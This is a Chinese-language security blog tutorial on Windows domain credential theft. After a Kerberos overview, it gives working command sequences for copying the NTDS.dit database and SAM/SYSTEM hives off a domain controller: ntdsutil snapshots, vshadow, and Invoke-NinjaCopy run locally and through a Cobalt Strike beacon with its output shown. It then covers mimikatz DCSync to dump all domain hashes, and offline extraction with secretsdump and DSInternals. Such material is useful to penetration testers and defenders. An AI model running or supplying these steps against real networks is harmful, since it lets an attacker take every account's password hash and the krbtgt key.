域环境密码凭证获取

2024-03-22 1,033 0

Windows域认证

(1)本地认证:用户直接操作计算机登录账户
(2)网络认证:远程连接到工作组中的某个设备
(3)域认证:登陆到域环境中的某个设备

域内认证即采用了 Kerberos 协议的认证机制,与前两者相比最大的区别是有一个可信的第三方机构KDC 的参与

Kerberos协议简介

(1)Kerberos 是一种网络认证协议,其设计目标是通过密钥系统为 客户机/服务器 应用程序提供强大的认证服务。
(2)该认证过程的实现不依赖于主机操作系统的认证,无需基于主机地址的信任,不要求网络上所有主机的物理安全,并假定网络上传送的数据包可以被任意地读取、修改和插入数据。
(3)在以上情况下, Kerberos 作为一 种可信任的第三方认证服务,是通过传统的密码技术(如:共享密钥)执行认证服务的。

参与域认证的三个角色:
(1)访问服务的Client(用户)
(2)提供服务的Server(服务)
(3)KDC(Key Distribution Center)密钥分发中心
在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。

Kerberos认证协议基础

(1)票据(Ticket): 

是网络对象互相访问的凭证。

(2)AD(Account Database):

存储域中所有用户的用户名和对应的 NTLM Hash,可以理解为域中的SAM数据库,KDC 可以从AD中提取域中所有用户的 NTLM Hash,这是Kerberos 协议能够成功实现的基础。

(3)KDC(Key Distribution Center):

密钥分发中心,负责管理票据、认证票据、票据分发 ,里面包含两个服务:AS 和 TGS

KDC(Key Distribution Center) = DC(Domain Controller) = AD(Account Database)+AS(Authenication Service)+ TGS(Ticket Granting Service)

从物理层面看,AD 与 AS,TGS,KDC均为域控制器(Domain Controller)

(4)AS(Authentication Server):

身份认证服务,为 Client 生成 TGT 的服务,也用来完成对 Client 的身份验证

(5)TGS(Ticket Granting Server):

票据授予服务,为Client生成允许对某个服务访问的ticket,就是Client从AS那里拿到TGT之后,来TGS这里再申请对某个特定服务或服务器访问的Ticket,只有获取到这个Ticket,Client才有权限去访问对应的服务,该服务提供的票据也称为 TGS 或者叫白银票据

(6)TGT(Ticket Granting Ticket): 

看英文名就知道,用来生成 Ticket 的 Ticket,由身份认证服务授予的票据(黄金票据),用于身份认证,存储在内存,默认有效期为10小时

注意:

(1)Client 密钥、TGS 密钥 和 Service 密钥 均为对应用户的 NTLM Hash
(2)TGS密钥 == KDC Hash == krbtgt 用户的 NTLM Hash
(3)Server 和 Service 可以当作一个东西,就是 Client 想要访问的服务器或者服务

(4)Client/(TGS/Server) Sessionkey 可以看作客户端与 TGS 服务和尝试登陆的 Server 之间会话时用来加密的密钥,而 (Client/TGS/Service) 密钥(上面提到的三个实际为 NTLM Hash 的密钥)是用来加密会话密钥的密钥,为了保证会话密钥的传输安全,这些加密方式均为对称加密

(5)参与认证的三个角色的 NTLM Hash 是三个密钥,这三个NTLM Hash的唯一作用是确保会话密钥
Sessionkey 的安全传输

Kerbreros认证流程

获取域控的NTDS.dit数据库

(1)利用卷影复制服务

交互式:

# 进入ntdsutil命令行
ntdsutil

# 进入快照
snapshot

# 激活 AD DS 实例
activate instance ntds

create
mount [GUID]
copy C:\$SNAP_202205161140_VOLUMEC$\Windows\NTDS\ntds.dit c:\ntds.dit

# copy 完之后再执行
unmount [GUID]
del [GUID]

(2) Vssadmin

1、下载vssadmin

2、查询当前系统的快照

vshadow.exe -q

3、创建快照

vshadow.exe -p -nw C:

参数说明:

-p persistent,备份操作,重启系统不会删除

-nw no writers,用来提高创建速度

C: 对应c盘

4、复制ntds.dit

copy [Shadow copy device name]\windows\ntds\ntds.dit c:\ntds.dit

5、删除快照

vshadow -dx={ShadowCopySetId}

vshadow -ds={ShadowCopyId}

注:还可以利用vshadow执行命令

参考:https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-forevasion-persistence-and-active-directory-database-extractio

(3) NinjaCopy

1、下载

下载地址:
https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/InvokeNinjaCopy.ps1

复制到本地,文件为ps1文件

2、运行(有两种运行方式,一种是本地加载,一种是远程加载)

本地加载:

(1)powershell -ep bypass

(2)Import-Module .\invoke-NinjaCopy.ps1
(3)Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination .\sam.hive
(4)Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination .\system.hive
(5)Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\Users\Administra
tor\Desktop\ntds.dit"

远程加载:

(1)beacon> powershell-import C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[*] Tasked beacon to import: C:\Users\MINGY\Desktop\Invoke-NinjaCopy.ps1
[+] host called home, sent: 206740 bytes
(2)beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestinati
on c:\sam.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDe
stination c:\sam.hive
[+] host called home, sent: 493 bytes
(3)beacon> powershell Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestin
ation c:\system.hive
[*] Tasked beacon to run: Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -Loca
lDestination c:\system.hive
[+] host called home, sent: 509 bytes
(4)beacon> powershell Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination
C:\ntds.dit
[*] Tasked beacon to run: Invoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestin
ation C:\ntds.dit
[+] host called home, sent: 481 bytes

工具自动获取NTDS.DIT文件,并解密

Mimikatz在线破解(利用DCSync服务,伪装为域控,获得ntds.dit数据库)

前提:需要获得CS的beacon

#获取 mingy 域内所有用户 Hash
mimikatz lsadump::dcsync /domain:mingy.com /all /csv

#查看单个用户的详细信息
mimikatz lsadump::dcsync /domain:mingy.com /user:krbtgt

#查看所有用户的详细信息
mimikatz lsadump::lsa /inject

离线解密NTDS.dit

1、SecretsDump
通过 impacket 套件中的 secretsdump.py 脚本获取 Hash

# sam
secretsdump.exe -sam sam.hiv -security security.hiv -system sys.hiv LOCAL

# ntds.dit
secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

# kali中可以使用impacket-secretsdump命令
impacket-secretsdump -system system.hive -ntds ntds.dit LOCAL

2、DSInternals

1、下载powershell脚本

https://github.com/MichaelGrafnetter/DSInternals

注:支持系统:

Windows Server 2012 R2
Windows Server 2008 R2
Windows 10 64-bit
Windows 8.1 64-bit
Windows 7 64-bit

2、执行

# 导入DSInternals模块
Import-Module DSInternals

# 获取System bootkey
$key = Get-Bootkey -SystemHivePath 'C:\SYSTEM'

# 获取所有账户信息
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论